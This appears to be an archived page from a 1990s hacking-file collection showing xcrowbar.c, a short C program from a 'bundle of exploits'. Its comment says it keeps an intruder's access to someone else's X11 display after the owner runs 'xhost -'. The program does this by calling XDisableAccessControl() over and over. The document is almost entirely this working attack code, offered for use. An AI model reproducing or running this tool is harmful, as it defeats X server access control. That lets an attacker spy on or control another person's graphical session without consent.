home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
Freaks Macintosh Archive
/
Freaks Macintosh Archive.bin
/
Freaks Macintosh Archives
/
Hacking & Misc
/
bundle of exploits.sit
/
bundle of exploits
/
xcrowbar.c
< prev
next >
Wrap
Text File
|
1998-07-17
|
577b
|
35 lines
/*
** Like I said, a simple program that lets you do a XDisableAccessControl()
** on a display if someone decides to "xhost -" you after you have a
** pointer to their display.
**
** -matt (matt@cs.su.oz.au)
**
** xcrowbar.c
*/
#include <stdio.h>
#include <X11/Xlib.h>
#include <ctype.h>
main (int argc, char *argv[])
{
Display *dpy;
char *dis = NULL;
int c;
dis= argv[1];
if ((dpy = XOpenDisplay(dis))==NULL){
perror("could not open window");
exit(0);
}
while ((c=getchar())!='q')
XDisableAccessControl(dpy);
XCloseDisplay(dpy);
}